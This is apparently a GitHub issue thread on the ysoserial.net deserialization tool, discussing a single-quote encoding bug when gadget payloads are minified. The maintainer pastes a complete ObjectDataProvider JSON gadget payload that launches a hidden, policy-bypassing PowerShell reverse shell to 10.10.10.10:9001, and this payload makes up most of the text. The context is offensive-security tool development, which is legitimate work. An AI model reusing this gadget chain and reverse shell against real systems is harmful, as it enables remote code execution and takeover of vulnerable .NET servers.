Closed Bort-Millipede closed 2 years ago
Thanks @Bort-Millipede for the fix. However, I think the issue here is that the single quote is not being encoded properly in https://github.com/pwntester/ysoserial.net/blob/6869a7c16471698f2190e0b156e5107c84604b84/ysoserial/Helpers/CommandArgSplitter.cs#L27.
We see the error only when we minify it but even without it the payload will be like the following which is still broken:
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.10', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"'
}
}
}
I will update the internal encoder to fix this.
Fix for using the "minify" option with the ObjectDataProvider gadget and the "Json.Net" or "JavaScriptSerializer" formatters. Prevents the following unhandled exception when inputting a command containing ' characters: